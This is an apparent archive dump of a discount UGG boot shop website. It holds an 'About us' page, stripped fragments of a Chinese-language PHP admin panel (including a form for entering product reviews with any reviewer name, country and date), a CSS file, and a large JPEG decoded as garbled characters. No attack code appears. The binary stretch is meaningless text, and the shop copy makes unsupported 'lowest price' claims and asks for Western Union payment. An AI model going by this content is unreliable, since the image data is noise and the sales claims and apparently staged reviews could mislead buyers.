cheapuggsales.uk.com/about_us.html0000777000004100000410000002437511635030167017647 0ustar www-datawww-data About US

about us


Welcome to our UGG boot online store, we have been following our mission statement to make your shopping experience as convenient and rewarding as possible, and thousands of satisfied customers are proof of our success. We are trying our best to satisfy all our customers with strong passion.

Our Mission:
Deliver to your door within 7-9 working days. 
Offer international fast delivery, no sale tax. 
Offer an outstanding level of customer service

We have 100% secure online payment and take Visa, MasterCard, Western Union and Paypal(we will send you the paypal link by email). We have an expert and dedicated customer services team who will help you through every step of placing your order and with any queries. They are friendly, efficient, and knowledgeable staff, we have a real passion for the Ugg Boots we sell! Except best service, we guarantee the price and the quality. The price we offer is the lowest. We encourage all of our customers to make a comparison with other online store. No one can beat us on price if they offering same services and same products. You can rest assured that you are receiving high quality perfect UGG Boots.

cheapuggsales.uk.com/admin_frad/0000777000000000000000000000000011633550314015653 5ustar rootrootcheapuggsales.uk.com/admin_frad/select_category.php0000777000000000000000000000236611633550313021551 0ustar rootroot
ID 栏目名 父栏目
cheapuggsales.uk.com/admin_frad/template.php0000777000000000000000000000501611633550313020203 0ustar rootroot
$v) { if($v['dir']==TEMPLATE) $selected=''; else $selected='否'; $html=<< html; echo $html; } ?>
模板方案名 所在目录 方案描述 默认方案 操作
{$v['name']} {$v['dir']} {$v['des']} {$selected} 设为默认模板方案|编辑方案|删除方案
cheapuggsales.uk.com/admin_frad/edit_product.php0000777000000000000000000000724311633550313021061 0ustar rootroot
$v) { if($k=="id" || $k=="categoryid") continue; if(isset($type)) unset($type); $type=explode("|",$v); //if( $type[0]=="txt" || $type[0]=="int" || $type[0]=="flt") $htmli=""; if($type[0]=="txtarea") $htmli=""; if($type[0]=="edit") { //$htmli=""; $htmli=<<$product[$k] html; } $bt=""; if($type[1]==1)$bt="*"; $html.=<< html; } echo $html; ?>
所属栏目* />
$type[2]$bt $htmli
0) { $actions['查看产品列表']="browse_product.php"; $actions['继续添加产品']="add_product.php"; msg("产品更新成功!",$actions); } else { $actions['返回']="javascript:history.go(-1);"; msg("更新产品失败,可能是未选择所属栏目或者未填写产品名称!",$actions); } } ?>cheapuggsales.uk.com/admin_frad/html_page.php0000777000000000000000000000426011633550313020330 0ustar rootroot
当前操作
单页
请选择对应模板
是否批量全部单页
cheapuggsales.uk.com/admin_frad/add_inlink_key.php0000777000000000000000000001233611633550314021340 0ustar rootroot
【查看内链词说明】 【增加内链词输入项】 打开产品列表 打开栏目列表
內链词链接到*
内链词 链接地址【请参照內链说明填写】
$v) { $_POST['key'][$k]=strtolower($v); } $fields=array_combine($_POST['key'],$_POST['url']); foreach($fields as $k=>$v) { if($k=="" || $v=="") unset($fields[$k]); } switch($_POST['inlink_type']) { case "p": safe_write(DATA_DIR."inlink_p.php","add_data",$fields); break; case "c": safe_write(DATA_DIR."inlink_c.php","add_data",$fields); break; case "o": safe_write(DATA_DIR."inlink_o.php","add_data",$fields); break; default: break; } msg("內链词添加成功"); } ?>cheapuggsales.uk.com/admin_frad/config.php0000777000000000000000000000652511633550314017644 0ustar rootroot
站点名称
站点域名 域名后不带"/"
站点邮箱
站点目录 根目录留空;子目录填写目录名,最后跟"/"
sqlite库后缀名 .htaccess 文件中禁止此后缀文件访问,保护数据
数据目录 前不带"/",后跟"/";相对站点目录
产品图片目录 前不带"/",后跟"/";相对站点目录
模板目录 前不带"/",后跟"/";相对站点目录
默认模板
默认内容模型
cheapuggsales.uk.com/admin_frad/css/0000777000000000000000000000000011633550314016443 5ustar rootrootcheapuggsales.uk.com/admin_frad/css/common.css0000777000000000000000000001075211633550314020455 0ustar rootrootbody { padding-left: 0px; padding-right: 0px; padding-top: 0px; padding-bottom: 0px; margin: 0px; } html { background-color: #F9F9F9; padding-left: 0px; padding-right: 0px; padding-top: 0px; padding-bottom: 0px; margin: 0px; } body { background-color: #F9F9F9; font-family: Verdana, Arial,Vrinda,Tahoma; line-height: 175%; font-size:12px; color:#666; } a { color: #555; text-decoration:none; } a:hover { color: #0099CC; } img { border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; display:inline; } ul{ margin:0; padding:0; list-style-position: outside; list-style-type: none; } li{ margin:0; padding:0; } div{ margin:0; padding:0; } .header_content { margin: 0 auto; padding:0px; width: 100%; } .header_content .logo { height: 50px; width: 20%; float: left; } .header_content .right_nav { float: right; width: 80%; height: 50px; } .right_nav .text_left { float: left; width: 20%; padding: 22px 0 0 0; color: #CC3300; } .right_nav .text_right { float: right; width: 80%; display: inline; padding: 22px 0 0 0; text-align: right; } .nav_list a { display: inline; color:#3399CC; } .nav_list li { display:inline; } .nav_return a { display: inline; color:#3399CC; } .nav_return li { display: inline; } #left_content { clear: both; width: 199px; } #left_content #user_info { background-image: url(../images/manage_r2_c1.jpg); background-repeat: no-repeat; height: 55px; padding: 10px 0 0 55px; } #left_content #user_info a{ color:#0099CC; } #left_content #main_nav { width: 199px; background-image: url(../images/left_nav_bg.jpg); background-repeat: repeat-y; } #left_main_nav { float: left; width: 25px; line-height: 13px; color:#0099CC; } #left_main_nav li{ height:69px; width:12px; text-align: center; padding: 7px 6px 0 7px; } .left_back{ background-image: url(../images/manage_r7_c2.jpg); background-repeat: no-repeat; cursor:pointer; } .left_back_onclick{ background-image: url(../images/manage_r6_c2.jpg); background-repeat: no-repeat; color:#333333; } #left_main_nav a{ color:#0099CC; }#right_main_nav { width: 172px; float: right; background-color: #FFFFFF; border: 1px solid #B4C9C6; height: 505px; text-align: left; } .list_tilte { background-image: url(../images/list_title.gif); background-repeat: no-repeat; margin: 0 auto; clear: both; height: 22px; width: 140px; padding-left: 30px; font-weight: bold; color: #0099CC; margin-top: 9px; cursor:pointer; } .list_tilte_onclick { background-image: url(../images/list_title_onclick.gif); background-repeat: no-repeat; margin: 0 auto; clear: both; height: 22px; width: 140px; padding-left: 30px; font-weight: bold; color: #0099CC; margin-top: 9px; cursor:pointer; } .list_detail { margin: 0 auto; } .list_detail li{ list-style-image: url(../images/direct_blue.gif); list-style-position: inside; padding: 0 0 0 4px; } #switchpic { width: 6px; cursor:pointer; clear: both; vertical-align: bottom; margin-top: 220px; } #nav { width:99%; float:left; background-image: url(../images/nav_bg.jpg); } #nav ul { margin:0; list-style:none; padding: 0; } #nav li { float:left; margin:0; padding:2px 35px 0 30px; line-height:24px; font-weight:bold; } .bg_image{ background: url(../images/manage_r2_c14.jpg) no-repeat; cursor:pointer; } .bg_image_onclick{ background: url(../images/manage_r2_c13.jpg) no-repeat; color:#0099CC; } #sub_info { width: 99%; float:left; background-image: url(../images/manage_r3_c11.jpg); border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-right-style: solid; border-bottom-style: solid; border-left-style: solid; border-right-color: #B4C9C6; border-bottom-color: #B4C9C6; border-left-color: #B4C9C6; height: 27px; background-repeat: repeat-x; padding: 5px 0 0 0; } #man_zone { height: 495px; width: 99%; border: 1px solid #B4C9C6; margin: 6px 0 0 0; background-color:#FFFFFF; padding: 5px 0 5px 0; overflow: auto; } #man_zone table{ background-color:#DBE6E3; } #man_zone table tr{ background-color:#fff; } .left_title_1 { background-color: #F3F8F7; color:#73938E; font-weight:bold; line-height:30px; text-align:right } .left_title_2 { background-color: #fff; color:#73938E; font-weight:bold; line-height:30px; text-align:right; } .pages{ text-align:center; margin:5px; padding:5px 10px; background-color:#F3F8F7; } .pages .left{ float:left; } .pages .right{ float:right; } .pages .center{ margin:1px auto; } cheapuggsales.uk.com/admin_frad/edit_index.php0000777000000000000000000000444311633550314020510 0ustar rootroot
站点名称
首页title
首页keys
首页描述
0) msg("更新首页信息成功"); else msg("更新首页信息失败,可能原因是信息不符合要求。"); } ?>cheapuggsales.uk.com/admin_frad/del_inlink_key.php0000777000000000000000000000117611633550314021354 0ustar rootrootcheapuggsales.uk.com/admin_frad/add_comment.php0000777000000000000000000000716711633550314020654 0ustar rootroot
评论产品* 选择产品
评论员
所在国家
评论时间
评价 好评中评差评
评论内容
0) { $actions['返回评论列表']="browse_comment.php"; if($_POST['pre_url']=="") $actions['继续添加评论']="browse_product.php"; else $actions['继续添加评论']=$_POST['pre_url']; msg("评论添加成功!",$actions); } } ?>cheapuggsales.uk.com/admin_frad/browse_page.php0000777000000000000000000000334611633550314020672 0ustar rootroot
$v) { $html.=""; $html.=""; $html.=""; $html.=""; $html.=""; } echo $html; } ?>
名称 数据文件 操作
".$k."".DATA_DIR."page/".$v."编辑 删除
cheapuggsales.uk.com/admin_frad/del_page.php0000777000000000000000000000105411633550314020127 0ustar rootrootcheapuggsales.uk.com/admin_frad/edit_model.php0000777000000000000000000001151311633550314020475 0ustar rootroot
【查看模型说明】 【添加模型字段】
$v) { $html=<< html; echo $html; } ?>
模型名称* 是否要根据编辑后的模型更改数据表结构?【谨慎操作】
字段名称【英文小写】 字段设置【严格参照模型说明填写】
字段设置【严格参照模型说明填写】
$v) { if($k=="" || $v=="") unset($fields[$k]); } update_product_model($_POST['name'],$fields); if($_POST['alter']==1) alter_table($_POST['name']); msg("模型更新成功"); } ?>cheapuggsales.uk.com/admin_frad/del_product.php0000777000000000000000000000107511633550314020676 0ustar rootrootcheapuggsales.uk.com/admin_frad/images/0000777000000000000000000000000011633550314017120 5ustar rootrootcheapuggsales.uk.com/admin_frad/images/login_2.jpg0000777000000000000000000025737611633550314021202 0ustar rootrootJFIFHHCC, p 12Aq! "Qa#B 3Rbr$C47Sc%&6:DXsuvwx89HTUt j  !12Aq"Qa#BR$3brCsv%45678TVtuGWw'UDSd ?E׸4/6@Eۧ)BVF=Gg6Kϧp&g?D -9) Sf^n M@y#f%>fx`,VgP0Kϧp) _Lg^h^LDx@OQt <ϙf V@|:?$qyu[: ʀ ^ S6@Eۧ)BVF=Gg6Kϧp&g?D -9) Sf^n M@y#&q.9b8$FZLҕ$Ǐ"1 5e."K+_, 5s74O钹CG_#1Q1Z$z5E_;=[A$Vt-E#;?m>VqFL{?lgD%J{b^(X> ydG;CN2?%2яOs0yIߙ%.~aª'-?'1RwӜBJҤ+Q(' 9,ze9XIî >f!^};59(?|]z঱NnsX@y3;OBswG\Q/>|:1yy^]{1F=GЀ>fx`,^};59 _SF6mV"0xOQ@OB (NMf~䦰^]{o/D ?|@ #h 3`O@%Ǯ +l|:M lV*?|@yu S)o/Dk :uc8QNLX?$q^]{ V&!r!G>f+x9(N*HïǗ׸Iî Ǒ0' q]XT!V^};Iuc8FŊOn7xu|%9 [:5Ǘ׸Zbn Rn'*p+3`B<^]{D/LOn YGT@y3x<Q/>͜/_@䦌-Myz,U~5| #h 6n#ϫZ?WzqWHRYXοvÞỈ?%94֐dnYn>%~߮?L>"]pԡ(-HJR_D~\9$sVCuV^]{?g?UAJMpV<9@y3x<U#ca+#h 9|!=w\:qNˈJRIEC#2G#4v|V"f'}b*\7>%si򢞷֏|ωEJ:GQf%>fx`,VgP0Kϧp) _Lg^h^LDx@OQt <ϙf V@|:?$qyu[: ʀ ^ S6@Eۧ)BVF=Gg6Kϧp&g?D -9) Sf^n M@y#4(+ 0'+eX>F0v6G 7xuIî NS!ZDwΦi~\ӫdb*Noǚ`.j2#=[.g**Ү<.$B$km͜eo.=pSX7tu| J9| ` YQ <ϙġXa9(NR@}͜/_@)6XtvjJ|:1yyb[O\T:>FTa|@ qXIu ~I-1O)7xu 80!}/.ǢƦm[O\SP*z <ϙFx"<%9nkJ3"ev/3 Yo[s7χjB[I% $5ssq$_mִdѐ,PxR EB%p4oH 4xG(IkRiB KQn* EMW .8a\$4f汍s֝qZm4u |"E|Ig=?҉TǯSϗ=Q p߻(jH.JoW%"b3K?"bR|Qec"-5wlwi2:=uןA `PAA*w\[:4>9PB/>J?|@ KB#y9j)+ci5ϙ9Y?y-*_>|>IElضYRf~2o)DS:>f%>fx`,VgP0p݇xbiTxf1[LU>KlZS̼:I7q:z|c|UƾJb|TFxkrp:ChC+-*їkd%stͤj_T;tbѬV raZq\4ʨF&a}Q[#9Fn aԧD EWmn,oYx˂(eҖ[lV )Lebfl#=e+2Ĕښ=ʺSG[YL4tRK`1԰q)_GBRu m֤8hZ4 B%DdZs`5FFZC 2 DuйF l/Gm#ݔm2%GkroEf&FR%#`Eny:mC#5Zk뤧Nҹ^ua'nT0R 3-mtn sB5+>Z%`Vv"Rp .҇ 0MeZH>#5X$T^:)) īBƗ~L8[n8iۈ#ig06vıKvD{/dΰxzƳج7$UrTRSXQrgB7lu͜oM` Sf^~5F=Gg6[K\V")u׸ٷ &U~Iî 2A9" Sf^ïTuq/> ~I` L@ MpB@Ba|V vswG\Q/>T/_@&3/4 ˯p&"w\#`N@(⺰B q@wq n".=qRnJr!P0!'7tub$k-9&3/4 ˯p ?|@ NT(Vgx_n".=qMB6 8>fx`,^};59 _oMZ6X#Dž^#Ŭ|}ÏZڊdgW|lkvߗ6,QWXT!V.^U1:w VBêONje8"#K϶W&Xl=n?zt.B2C-5}ȒLe\ ÉR2i+~h :v*zw*Y=7{TlKVM*Τӵz'eGOj-m58zۊ5Ȓ}+{}BKPܷ,MÀ-[]ezob`?x9fv8M_U]#cQz&ۥ 4*M5)IJ_xn%zڥ-Dq9;>/܆.l"8# d>MC[ݴב;x7b4Z%QQ_Dկ65E0Q٦ ⌑jU'RH٥o/|ˤsP􀿬J(u*e9mv}A^7MU)˪o`sYm"Hfm'd;iyuFZVi m3SIqyߴ3mBgRE uKvnn/Vk@Ϧ HL,KN^͵^Jׯ^yec&b+5VH.Fէ|d:L͎i?+qNaKs3  ITz_wQ +AX.>AXZzVIm7 N{N"tУ#GkdzVoBT &~eR]jL427kQK2^ja٫HkK!ʨۨi6BV" #$n){F3-z +> [Tߓ8e-T䶼\ճ_޳$'=F 흏n#:77>cKMZ%Ӹ[: ʀ괂pI^kd^~hJj=Pϗ}xxlYjQyX7tu| J9| ` YQ <ϙġXa9+pG0{:8}+i#cT]xcTJ +G]/4*0Hq.%8MFL?omKg-ҸF"^s'ѧg}v_ ~w&4bb@?gܡ-1B]}Oi=Z+flVLlac2Csk5DY-l,i|iKsF.kL(xc8j*3 u{e9,vd8I?cqfvڎ~܄Қ{scw7gf/t*ǵg'vWr>n,f0WArɠ[ dlRin l"$Q-.йmL=\ҥR(-3W*t_[Aimԛhmzq+aik#.pϦSyhSQRI[{2Bso!^{_W~ƽbVvu%=#[QwO=:ʨ,/`3QLd׏?[KtFuUW١w+PI2)hELiZ͚|(Ʊͷ{[a+himÍ0%.QOl6JgpޚYwĘዽ&:q£G=+˙OzhSՆ&7i^WUU3J?J}7*V\W 0:$LUêm$!$QSrږ*λ$A"/wXo|v=՞4}}xeݨG̽ ӻ Cޤ!lawÛ]Qu[[_X-Z[fF,y[!]%IemJx$*k} h>ϊ|!Te~^&婹3[,S WVE{.c[5=;Tg vzHhDU11JտqW%r*}"\xoƙOTfd'y ϴ9ڮXnIvAϗvOkqDn Tz3iVH\i fLul7JD 7QyП~,]_׉춼CdmmE‚i($R= Zcdc<z\bS:iŮ yc^i4ntSDKǵ_/žӫ gaU7uBJirfMEnE\FPaFj azn<7seL#"_-b ME}C"JQQY,s[OZ#[N vg+(nMX IIOV*,ll.K"$`dD@|^*cޒ..QT<( ?(xdQ"ioi;`N}7Ovv|ysŽr1/~^-_{%NcbcF REP{VC0y@Sۓuz4|]4Uwb~~Qa[MUZv>Zh]4PTW"U2fC.`WuOe~ӥ[9ءI5=m̎J;|iR{ʆxbzy}h- V:i-R t֫B[4*ҫƢa\_GSpOSsdRiP]2o;\`FhwQ־F٩+CL6IUxM(jYp0QQ+e/Was6x161 jbtQ TSZf:fwB-4ݸ&b$v6bUoHFٶaQ: (}]EH&:s $벪8st3#r]x=IkL ;0&釷'ai0iR]h{ ky htʖpqf܋Ni#hOD^mZP. zTK.P؀tʊ^QA}Ǵݮ&%;]K^볪 ]$0EQJ(X|:-a{N}RWby.Ւ\(-M6ST4e|qL[| sh8hmbn%hP5sU`zEJZTM!2Kl-n8"!+]]WOCoVAMKM O<8cK ΔTUwj i+k&7M=D82(a=5h$GxE Ai}n,j÷.v#eߣ _ߕ-FkSJT*r!_=1N#VY޷2gyC5})e!-5,zӇl6[kX e%mΧRYTƻFXd7zqʏoCM Z@6}Q.=ua+gVuI*XaF+6:*J76] %[rSyonRQ`տSm=]MQEMu0⎪qniSUٟhiT7[++m7N5r٩-]ST4 '?x⵻*ֿԊGip!`o\z Z-Z݃V̇Qdӆq%mֲwe]K3ٵK8jik )!7 ^.+vʇS@N,FY5<нǂ"1Zo[سwO6f+v[fWHix!է̹Z<-$LG-L%jŞG v{,00n)FRRmV˥MtQ{QP滼 s _$aŬ7e ]%[}檗Kj-tNʾI*F B^~Fc#[#~r*L7*P-b]VwEAܶmpxRk-lu?{kK5Z jtp%⮸sH4lhNM}1֎:W|NR {朅dPrww  yU(ЊZEG~qMMQ)Obp$⮀PDf%7wb} v*+m.?ᤛ3(Uw&7ӧΞ[3 ñ]_xKe-͵RQ'etM4]{4hi;ϕ;yu5ޗXX}iկJjdZjMDoTn¤mCT<،K/XM6o {e:|\t޳ D-!""ku]o /[~įךZ6f fJ2%KLRjE Fh-t7jZio(dudθTEl@28䯞TO<:rJ4ݕU |Lm ᨳWUʊM{GΊf]%q!h>[o^Nii1.=0olq|'kwN7.srI.-~C;@X77fZ1%XnҶiq3,nq߯SZF껕CJ%cUR|Ɨ8h%Q胥Е#E"VjRTĥ%I2J#+dSDgc˘xOʭv|*#Cm*ꔺV'STqru>|)M!Lh;TY !ӭ+mjItݪvaM,8'hf~)b |ock rϱd_,2Xǀ潏mk᭮i `<-t*U6EDIb~_V *U(:e>ui1& $w89#ᶵǍpn'j\7p!*)w]x l}UTI] s[dJ5(/vfi;f.襗DJxX44hosK&mXiRkO[;vڨX&$DbD谪$ˏo.#SA568Ut6U-KE3k"RI"eA6HE$J#3KAm0Z](ISM0>c]#,n{ZI`Yi7>d_;O.eO!Z.7^?˨5hy1>^rpX C2ߨɟ bǘO6S1qOf9Ÿkۍ ^hUKE%] qeL\YXm{Iw;|g_VAS)٠ə-|n|RI85n#C.BեgƑ؉eVҪ-b&ݶ]0IMU.[ LP* -bdi]}eӴ<dz8>r6&WShJاFJ8ۥo`_tم1%Ɗ}.沂sAE=,I#h<轮i A=Z 7.*hgBt1eF^vlgTҬŶ;NR2GB,I,bӍeV,Y/ULuoVod{DS|5밮&Dʛ[ uPl ]m]Xy͜/_@䦌-Myz-N4mN8_7?y;s_S>-axSS#T~/#c^XY%*Z)#RȈY!riYh׻˚ʉGpȔDMM}CZկ4Jyxi22%K`Hz;=a=ɣ4oT8 ßrq 0b\{lՌi"4`T0$7K[]8Ä<^ Q9֡)?6DeˆV.k/"=|s;Oן_\k1;CApˆC`rV2@ZE ЧK8QGnTӻO5yR--mdf2*OK,wdjjieWrI Ήȼ9N_mMA Q|=EK@$yg-w[-}Sq}Ai%M$yK$稌[Y2Y#n|2>ZeGs<\J x)/)vȖ[_m= kR׬-H44TI@e4w^#a׭i3K.yUaŽHv?޵k?l%DSDz,֜Ahٲ)7^5Q^!E #fRܨn/ 8f Z [[^TOB"J FhoYI񎟞22-f]lK= w59T^O%'}DdtAk#Ið7ޠ.vj;$NtUPG5|"ZXi͔ЖU9n?g;+RԒ7/-MZ$3^^Sn Q vɻWgv a]Z4tZ1홾Y^Rz)6 [JeJ%|^^GYbig^ !bI).AhϚ5ݓ/K I ёԳ\-3F\Z2\j|8IWoqE7E'#~&|J|A5|}5%z+4#*-gq/\H^kN Zr!BV&!r![vIRcȵ.%_K7G&Z z?қwG\Pgg6 A|J:7ݳ80Z8ܽݕK׆?/L?_ОLg&;D?C-};<˭\i֜JVۈRV#"1`V2Fvk{p+Ǵ9c3k0 W}^[1v5{Z99.v>3 [=DN6R:Fab՚LQozME?ԜLeuA!_d&h1NIO܏]↩g^k|f_Whpl8mr;YIsdZ".AԣY`$sclXKusO}ۄPsݎ]0bM:|3pA3JZoWBD15vcQonI<:N@2ԛ16 hx@iTVܫX}|b us,gP(efm}=El:t }opGa8m47;:jzY%Mk awmm7dOww?}*,!8"|7ӊۯ }W_1x3xFCuFqc/7iN],HI5Z;cDNĭĢOKeMq WWb}9dUk.vԶL2C4Nd \a;b=BTk[;q+W6T1Տ[gTt#Hse R+_8x?Ϳ+ozWdTq*nCG;7YdSw Iqj0_hc}{_van&mx;ݦK*x+xsMmk)sĐ1,v{*vqnj{-eLvS9)mn]%Cɜä5_Sho_j#HԩH8^ݘCCr8? ^oW6Bq,UNN{)-0]@v݌q6$^5)6EҖPPQ[ntT͂= vCjj\4 yX- 8(zl[o&iRwPk@Զ5:d* jf{GY{iamϲCtWTU UfQm'TyIjJyNn7Mn@Y"[e ’i{x"ElUS2l#~< ]/iɇ{ sN%m(R*z\״RQm}**E3Axtse9KY'<4j}i $,umWQ_:M=C4 ZGҏJ!-16.͝EȇaQ&=t9TS fv&ϳ 1Z#xhLg? f,U[$۩nuTSOuKOj;#|GF V<31p6iwӲ46Y6U>7953!꽗 8nMoMSwWk\Jۭ[6R3Cqi3B]I}Hex96mg-u}➰j瞽e\mZC\+ꪘr +\p%-@'iˈ:=|(G,t)XRz\Z4՝֑f\+vE{ Dop R#Y:+L,' |%hP\SL%}J+k?V39;|!w0] v~'A&,U*6к[5%+UPiwTɝQSXjZwhdK:M6Z[ڽ2Rg>rbܖN5V4)HB~7dx[}=͖譶vkDUp;fOώp61? +lI__ ҊzKE%EJi*H7"| cU}Dkj>F+M6.UQC_ejHtJuR &1ծ$u]\7{{hf]I USem =9uSq Z =QG+YQUoo0LzK]=O mU?ET֟vLӽ2Ʌ&!Q i)-m%[deAEC=9כY_Ym]=_0\aP.# Kj%U.M 5oYBbrmPTGnTRW"׳\60: ZA4x[JD<LJ߆TA0Cm&ivq>z'O',0Ieg P躜6j%TJgh& bkX]_峌XQ]إ^nT贜PPǢSOOT+ЩiPߪG_nٮ(Ñ=~kC#qo*,1CJM,s2F@ Gd}`l{O6aV= ^d;qK/M20 { -#0 Gb=W0nW|\װmI$\}4uQ)P㨐Vv7{x+{6 "m͚ywַOhy3tɾvzlW/ddu~K2K!cNA^|=fu )Rn1])/KmgQ[cf3ͦSTBL[ڙo6lokhL=C} _qV쎤R|1ďVG) {xi9蜲]u 3 m Izƾ7>0 2\jI!.׎/#^5y!$VިJz nlpEf㮭Hg8lxZm̢ZC7W6Z]Җy^r<<)8V_|WZqpk劚)httQudu^3#T.ວÁuY&DSM&&S@<6Ti7g )%}DQSCK3J^ւNAhse66IU<d,̲&>g=͍-`!.vCY[i|: nδj=]҂kׁ%;İU @UNӫ?[Wɉmʻ7r:]RChPŪ@}ߕ;>#ôzL v6Ux߈qmvՔ,IWh.#[EEds-[tqGl3> Zߢ3Xj_%>ˆn ةfj)X] ʢ>pK&ձ͉u$UXӣm/(O h+=+7eNҦZoHҢAnƓ>]W=ꚟf!Zneu1lEG|MA&*K<ȣvmXSWqk}_n덹ԕ(tve{Zʸ*&#%s22MedzZ5ɎE=']x~C[CZښJZ)#q}<ҲGFFf#$d[_alh_a]*вq!LvzJa_Ͳ;cfZO!R5ɪSuWԘ\?4)43.VwY_;5-llW=RO2 E \#B1MEdz)qQ܅ͶjLgn&Je}u+5"Y(f ~a:i ]G*8[-K{ g{hVreĿ*UzeӜHߵnbkQI8Va%KL-5^8VIW|t  U4=r lꕯJ{ģvEku;'a=?Bw {5t i-Vdczk!{E%[j+zh[:VH fWJX7n 5pҭō ݸ#WR붜L 0L*kU3Wgiq+J$@OCGǝow}n)Kb\{SK" (ce,_}X&dK\'پ5N۶ OH.X! E,{sncX#t`(H`/ynG&<׀,Sd5+RDVyO+ hK. v[tM#՗_tE1UhV[s຅K)_WE9Cllԙe QPTY7]q>ʦݣ0uJZ䲕Ns3v"vIL`K̡VW{^A&͵ E{;n8߱gnoY\UJTeHZzq}Dz94 {\AtuEIuc8@b )7xuX>FB+ *?| ϧp) _Lg^hV"& < X@y3+xswG\V RF}ßc8@ L@ MpB@Ba|_G˯qyz V"!+#h 3`OV%ӸY豵<k'bi'H8f~?%8RvګGPL>m|OR_UlcI/+lc:-x=gQS|gS~&cQ4 &5k'kWb7ga$fRU3RKY)3PwQ/c;Z|_ %^MD,U?=vbu[{R3zen: > ؉?j亭Իa#BGFlE}O/!j?+B??rs@r21~kwi*C"c쌶)E+1K4I5i̴c zƷ~e*mU|{ig o"'w%,0UF4])ʟEs}'qqSb6hMgbj1[qmn*͒S'u[=xw[M=4q=򒾾ZǷ<Zw1bۉp\d;LQѷ(m v㡡76'fsү:\B4Ow)6ES U`u.M[ZWA55l[RuӨ-*bm2[ J#:Clh_tݒyi.΂EY &uIm JCT!MWc.puV[sqUoCK,g 1Irxpv{Btvhρk,6W%re-4;\&]Z@"‡&$^*SMӣObX `}U|YmFk|ՕUYevcwOj>qŔ jղC[USk"[QX|`TRRSAQGN'tE֔9yc*^_1-.ۇXo!5ZK{j-_188J:u a_sI-@Nl4hl6|f)\{sw}АW]w1EDyNirȣG]/5Mf[{l}ԞOfh_ ;h ὦGZBr{. bj?G?໩*#ů\='Xo]{?Zչ~?a'j0VNco*+L;.Smcn۔?{anEJLjg|{jx7%D4ܢRiv,ZS۷}vŵ֬APPG;8:+ O]F[8u18=-m{3\1GM`[$ N犥Ѭ]5RE t:T=IKQM0^*7uO.GTR>آi-ZXҢ0mMg腓1fXNF7t}_U$Q#Γq9Nghw_5jح8TTCGt:0ƌF_T bQNJvSTez[F2UBlЭk[8~֥8okX5-'F hcn4Q?*]B87՗ ٷOU4>ߏKG#fI y$||oF|Ir]ZmR,;Zj́s[vH|Z6K-ؚ=Gfvc eAi7 ۃݨmUj\C2򯳥֞d5\-ZgE[IBSA=RY仁#l!}/L_U>bS:%*iM%wؕZ>BC[)z5}U$D鶓Lw =cG(64bUDC6OM5%YnCq m]qau!4PG{zji2J :~r+$ISF4f$8qrLrcƍ>,8J)DCG nW(cYGlO|q c\8I/*{"Y6GcAsֵ)τS1%SGSMaسaMcK~4϶_a!]Bq ZL粴O'Hk^2{dX[ZǴH+藴trCvV>)bhFG#,{$cs59]_ Qir_mM@FYjܹ25y7LrZM'ԝ|۶Rn]GO=TՊ;mmvm*9Bdg.stlU46[;8OJJxC%e٬s!G|Q4hңpZAf=ͧM3, NERq)j~ZЙGÆO_QIe'0WLs`]\;% /ew`dynBZ{u1y{<ݟ2KF%5UeK9=UOB9,kKduñf7Sv4Q|@ӵOdYcX_V1\w(>?o l`UzUo˷\")uC}ִnT#nUҖ5:DW4x}@p˦N;Fge-Z>3B\a~&mݟ0ax ^*8l8 V>T-jڙn9mK\=Eso8iSJ/ -M>RA#EK&rt#ctL=8Gy[;+1Ӿ$Tgec×B-<-+R4m/_U|5ڍm3NV J!tْUvի f]]}ŶE]xZ ]-U؊qntS<2=ݝ{-CuMmnan_.4ZiT7kDpN h xl"w#O\IAú,]koKfEYc'E7.eaIz"uf:rel㲋'D=ZgSZiLKSI4.7ث*o7AWځÐ5<}tкWG0lL%NX-zc}ubeK-وI]פ-P0 I:&2WMu"+]Ct(b3h 0Mth<9`nË-_w: !E eJf9HﴄOelSTOT綦W;KMwĵ;ˇn,n5J[dtmӸ7{#YO1@:2O5P|+l,#%/%ᾁeWh׭:er[tJ [jeZJ")T>uU̐:co]iSyowb px=.TVqpGY=L'f!b"#a/Ыax->ֆh(⬩r+0C%/wsƺL\4BiVT[ze7ܩT2\*1LxH1Ԯ<+rCSQj#H`J'U_MJcd1,L}3tCT1-ES{7zy#q)=T61'9hVn#&Ou\Af+ Ά/#K .ۂ骧4)t5N[?XKYm.)W{.#E%e[qe0n% b0]5-[OO|sylE5\/fzk{*RH{ЎgQhZO> GnUufL1&S1kjT.6imI-Dh/ot^i'W̉$sX1 %k#\C`jٗdu]*$s9||W{;ps9'bVHhfӚ҃8 /6ޛl5lSVs֥%kTZ,K~_މ~y;A|]ovcI,Y0ͦ \UQEM޽7M\ȑ/#xXCŖ1F)MselYgLQKnpxƀٴvũU̱>!ޗ}5mjxUrWj.6Qt{JeR5JOeź{Q\nmf½Qj*+ۘ=JG/kUPQ+^#;#i,<ƗśILVDi%lޗ$-oLJ_+vsQ/n6ݔ8hÔט 0^ + lF\SCmq:jU; m[&wX(*)9Z1%Ga~RԿ SSc,U鮕5; jk`/iIkt՞kijI{f븨D0J#(4VƲe2sbPE\.4jUV L\骴k\k’: M_jc vE*jhD>abWWaHϯxtSWpbE4]psTjdt0Tٵ0|^u_XpCf3荣6u\zzHĊYpΕ׽Lە &DĪB,,<6Z\KiMksc|:1yyb[O\T:>FTa|@ qXIu ~I-1O)7xu 80!}/.ǢƦm[O\SP*z <ϙ:I5\Dj*$d0G|H.%&h)ayqCKւOSkPn!P;)m/PfM6zͦѬdz~nPڳkc]=l%dNbC ;5bSrR[~6QӇ z/⪙6yk\Z]] 1JKZY3"n;h3՜w/ ozkZ8STY,^1SSG|Z#+j%O6KJPn(ҶIJ"\-"u'y7k.|B(s2rm tz6Tx!S<$ԣ&~kZ%Wdl:GNgR5͡4Ǐs+2$Dj5)2Yf52׎eG~\%4#`zr!.*K> Ԃf+67^->f6 A|J:U*z)0iKͫ&.-ێ2t83.ێ(d)Zz*-!2ZL#lG$'x@9vn;E8X>xIDPwIw&};J ?W]5}?9zF?Zz=4t^8DxvA3Tkc%&8?,XB-/2rkHU #(G%voj163᫫~llʺͫщ4S,;6k]R{2M154x;[g[5յ'A2Թvݴ?{rv_>,ir譤c Wn//џqjPfPyɉfIljԖQݖŐ. brLgx*&Z".g{w zjy~،&F c]1|m[>WI4RRWљ_{ EE8BN Do,?X{|>)N*#4J6ةlugɳwnݻ)*RDXE2#H#&QO͜=ix,xc ]ZT~a˥?ّlAl><VS`C}վzxdҲ%K19ΙѐQ\!y$toFI&Ov:#GZKAc 